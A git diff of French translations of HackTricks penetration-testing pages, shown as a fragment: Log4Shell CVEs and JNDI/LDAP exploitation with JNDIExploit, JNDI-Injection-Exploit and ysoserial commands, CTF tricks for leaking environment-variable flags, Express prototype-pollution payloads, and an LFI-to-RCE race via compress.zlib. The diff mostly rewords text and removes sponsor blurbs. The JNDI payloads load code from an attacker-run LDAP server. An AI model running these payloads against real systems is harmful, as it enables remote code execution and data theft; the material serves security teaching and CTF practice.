Par conséquent, la seule chose nécessaire pour obtenir RCE est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et parce que c'est une bibliothèque largement utilisée par les applications Java pour enregistrer des informations (y compris les applications exposées à Internet), il était très courant d'avoir log4j enregistrant par exemple les en-têtes HTTP reçus comme le User-Agent. Cependant, log4j n'est **pas utilisé uniquement pour enregistrer des informations HTTP mais toute entrée** et données que le développeur a indiquées.
|
||||||
|
|
||||||
## Aperçu des CVEs liés à Log4Shell
|
## Aperçu des CVE liés à Log4Shell
|
||||||
|
|
||||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critique]**
|
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critique]**
|
||||||
|
|
||||||
|
@ -120,7 +112,7 @@ Cette vulnérabilité est un **défaut de désérialisation non fiable** critiqu
|
||||||
|
|
||||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critique]**
|
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critique]**
|
||||||
|
|
||||||
Initialement évalué comme faible mais ensuite reclassé comme critique, ce CVE est un défaut de **Déni de Service (DoS)** résultant d'un correctif incomplet dans 2.15.0 pour CVE-2021-44228. Il affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS via des charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de message et en désactivant JNDI par défaut.
|
Initialement évalué comme faible mais ensuite reclassé comme critique, ce CVE est un défaut de **Déni de Service (DoS)** résultant d'un correctif incomplet dans 2.15.0 pour CVE-2021-44228. Il affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS via des charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) montre une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de message et en désactivant JNDI par défaut.
|
||||||
|
|
||||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Élevé]**
|
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Élevé]**
|
||||||
|
|
||||||
|
@ -260,17 +252,17 @@ Déclenchez l'exécution de la classe d'exploitation sur le serveur web vulnéra
|
||||||
```bash
|
```bash
|
||||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||||
```
|
```
|
||||||
**Note :** Cette exploitation repose sur la configuration de Java pour permettre le chargement de code à distance via LDAP. Si cela n'est pas permis, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
|
**Remarque :** Cette exploitation repose sur la configuration de Java pour permettre le chargement de code à distance via LDAP. Si cela n'est pas permis, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
|
||||||
|
|
||||||
### RCE - **JNDIExploit**
|
### RCE - **JNDIExploit**
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez que pour une raison quelconque, l'auteur a retiré ce projet de github après la découverte de log4shell. Vous pouvez trouver une version mise en cache à [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
Notez que pour une raison quelconque, l'auteur a retiré ce projet de github après la découverte de log4shell. Vous pouvez trouver une version mise en cache à [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||||||
|
|
||||||
De plus, vous ne pouvez pas trouver le code source dans la wayback machine, donc soit analysez le code source, soit exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
De plus, vous ne pouvez pas trouver le code source dans la machine Wayback, donc soit analysez le code source, soit exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Pour cet exemple, vous pouvez simplement exécuter ce **serveur web vulnérable à log4shell** sur le port 8080 : [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_dans le README, vous trouverez comment l'exécuter_). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP _X-Api-Version_.
|
Pour cet exemple, vous pouvez simplement exécuter ce **serveur web vulnérable à log4shell** sur le port 8080 : [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_dans le README, vous trouverez comment l'exécuter_). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de la requête HTTP _X-Api-Version_.
|
||||||
|
|
||||||
Ensuite, vous pouvez télécharger le fichier jar **JNDIExploit** et l'exécuter avec :
|
Ensuite, vous pouvez télécharger le fichier jar **JNDIExploit** et l'exécuter avec :
|
||||||
```bash
|
```bash
|
||||||
|
@ -312,7 +304,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||||
# Execute command
|
# Execute command
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||||
```
|
```
|
||||||
_Ce type d'attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la **THM solar room**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante via LDAP) je pense que ce n'est pas en abusant d'une classe de confiance pour exécuter du code arbitraire._
|
_Ce type d'attaque utilisant un objet java généré sur mesure fonctionnera dans des laboratoires comme la **THM solar room**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante via LDAP) je pense que ce n'est pas en abusant d'une classe de confiance pour exécuter du code arbitraire._
|
||||||
|
|
||||||
### RCE - JNDI-Injection-Exploit-Plus
|
### RCE - JNDI-Injection-Exploit-Plus
|
||||||
|
|
||||||
|
@ -320,7 +312,7 @@ _Ce type d'attaque utilisant un objet Java généré sur mesure fonctionnera dan
|
||||||
|
|
||||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||||
|
|
||||||
Cette option est vraiment utile pour attaquer **les versions Java configurées pour ne faire confiance qu'à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance abusée par ysoserial doit être utilisée par le programme Java de la victime pour que l'exploit fonctionne_).
|
Cette option est vraiment utile pour attaquer **les versions Java configurées pour ne faire confiance qu'à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance abusée par ysoserial doit être utilisée par le programme java de la victime pour que l'exploit fonctionne_).
|
||||||
|
|
||||||
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI :
|
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI :
|
||||||
```bash
|
```bash
|
||||||
|
@ -384,20 +376,20 @@ Par exemple, dans ce CTF, cela a été configuré dans le fichier log4j2.xml :
|
||||||
</PatternLayout>
|
</PatternLayout>
|
||||||
</Console>
|
</Console>
|
||||||
```
|
```
|
||||||
### Recherches d'Environnement
|
### Recherches Env
|
||||||
|
|
||||||
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau d'une variable d'environnement.\
|
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau d'une variable d'environnement.\
|
||||||
Comme vu sur cette page dans [**les charges utiles précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes manières d'accéder aux variables d'environnement, telles que : **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais cela pourrait ne pas l'être dans d'autres scénarios réels.
|
Comme vu sur cette page dans [**les charges utiles précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes manières d'accéder aux variables d'environnement, telles que : **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais cela pourrait ne pas l'être dans d'autres scénarios réels.
|
||||||
|
|
||||||
### Exfiltration dans les Exceptions
|
### Exfiltration dans les Exceptions
|
||||||
|
|
||||||
Dans le CTF, vous **ne pouviez pas accéder à stderr** de l'application java utilisant log4J, mais les **exceptions Log4J sont envoyées à stdout**, qui étaient imprimées dans l'application python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le drapeau était : **`${java:${env:FLAG}}`.** Cela fonctionne parce que **`${java:CTF{blahblah}}`** n'existe pas et une exception avec la valeur du drapeau sera affichée :
|
Dans le CTF, vous **ne pouviez pas accéder à stderr** de l'application java utilisant log4J, mais les **exceptions Log4J sont envoyées à stdout**, qui étaient imprimées dans l'application python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le drapeau était : **`${java:${env:FLAG}}`**. Cela fonctionne parce que **`${java:CTF{blahblah}}`** n'existe pas et une exception avec la valeur du drapeau sera affichée :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1023).png>)
|
![](<../../.gitbook/assets/image (1023).png>)
|
||||||
|
|
||||||
### Exceptions des Modèles de Conversion
|
### Exceptions des Modèles de Conversion
|
||||||
|
|
||||||
Juste pour le mentionner, vous pouviez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple :
|
Juste pour le mentionner, vous pourriez également injecter de nouveaux [**modèles de conversion**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) et déclencher des exceptions qui seront enregistrées dans `stdout`. Par exemple :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (683).png>)
|
![](<../../.gitbook/assets/image (683).png>)
|
||||||
|
|
||||||
|
@ -438,6 +430,7 @@ Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
|
> }{#}{######################################################}
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> Si le drapeau commence par `flagGuess`, l'ensemble du drapeau est remplacé par 29 `#`-s (j'ai utilisé ce caractère car il ne ferait probablement pas partie du drapeau). **Chacun des 29 `#`-s résultants est ensuite remplacé par 54 `#`-s**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
> Si le drapeau commence par `flagGuess`, l'ensemble du drapeau est remplacé par 29 `#`-s (j'ai utilisé ce caractère car il ne ferait probablement pas partie du drapeau). **Chacun des 29 `#`-s résultants est ensuite remplacé par 54 `#`-s**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||||
|
@ -455,11 +448,6 @@ Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
||||||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -467,11 +455,11 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Serve XSS responses
|
## Serve XSS responses
|
||||||
|
|
||||||
**Pour plus de détails** [**jetez un œil à la recherche originale**](https://portswigger.net/research/server-side-prototype-pollution)
|
**Pour plus de détails** [**jetez un œil à la recherche originale**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
@ -51,7 +37,7 @@ En **polluant** les propriétés **`body`** et **`_body`**, il est possible de f
|
||||||
|
|
||||||
### Rendre UTF7
|
### Rendre UTF7
|
||||||
|
|
||||||
Il est possible de faire en sorte qu'Express **rende le contenu UTF-7 avec** :
|
Il est possible de faire en sorte qu'Express **rende du contenu UTF-7 avec** :
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||||
```
|
```
|
||||||
|
@ -77,7 +63,7 @@ Il est nécessaire que le **module CORS soit installé**
|
||||||
|
|
||||||
### **Méthode OPTIONS**
|
### **Méthode OPTIONS**
|
||||||
|
|
||||||
Avec le payload suivant, il est possible de **cacher une méthode d'une réponse OPTIONS** :
|
Avec la charge utile suivante, il est possible de **cacher une méthode d'une réponse OPTIONS** :
|
||||||
```javascript
|
```javascript
|
||||||
// Original reponse: POST,GET,HEAD
|
// Original reponse: POST,GET,HEAD
|
||||||
|
|
||||||
|
@ -125,29 +111,18 @@ Vous pourriez certainement l'utiliser dans une **chaîne** de bogues pour exploi
|
||||||
|
|
||||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,20 @@
|
||||||
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
|
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### `compress.zlib://` et `PHP_STREAM_PREFER_STDIO`
|
### `compress.zlib://` et `PHP_STREAM_PREFER_STDIO`
|
||||||
|
|
||||||
Un fichier ouvert en utilisant le protocole `compress.zlib://` avec le drapeau `PHP_STREAM_PREFER_STDIO` peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.
|
Un fichier ouvert en utilisant le protocole `compress.zlib://` avec le drapeau `PHP_STREAM_PREFER_STDIO` peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.
|
||||||
|
@ -55,37 +41,25 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||||
|
|
||||||
L'attaquant fera en sorte que le **serveur victime ouvre une connexion en lisant un fichier depuis le serveur de l'attaquant** en utilisant le protocole **`compress.zlib`**.
|
L'attaquant fera en sorte que le **serveur victime ouvre une connexion en lisant un fichier depuis le serveur de l'attaquant** en utilisant le protocole **`compress.zlib`**.
|
||||||
|
|
||||||
**Pendant** que cette **connexion** existe, l'attaquant **exfiltrera le chemin** vers le fichier temporaire créé (il est divulgué par le serveur).
|
**Pendant** que cette **connexion** existe, l'attaquant va **exfiltrer le chemin** vers le fichier temporaire créé (il est divulgué par le serveur).
|
||||||
|
|
||||||
**Tant que** la **connexion** est encore ouverte, l'attaquant **exploite un LFI en chargeant le fichier temporaire** qu'il contrôle.
|
**Tant que** la **connexion** est encore ouverte, l'attaquant va **exploiter un LFI en chargeant le fichier temporaire** qu'il contrôle.
|
||||||
|
|
||||||
Cependant, il y a une vérification dans le serveur web qui **empêche le chargement de fichiers contenant `<?`**. Par conséquent, l'attaquant abusent d'une **Condition de course**. Dans la connexion qui est encore ouverte, l'**attaquant** **enverra la charge utile PHP APRÈS** que le **serveur web** ait **vérifié** si le fichier contient les caractères interdits mais **AVANT qu'il ne charge son contenu**.
|
Cependant, il y a une vérification dans le serveur web qui **empêche le chargement de fichiers contenant `<?`**. Par conséquent, l'attaquant va abuser d'une **Condition de course**. Dans la connexion qui est encore ouverte, l'**attaquant** va **envoyer la charge utile PHP APRÈS** que le **serveur web** a **vérifié** si le fichier contient les caractères interdits mais **AVANT qu'il ne charge son contenu**.
|
||||||
|
|
||||||
Pour plus d'informations, consultez la description de la Condition de course et le CTF dans [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
Pour plus d'informations, consultez la description de la Condition de course et le CTF dans [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
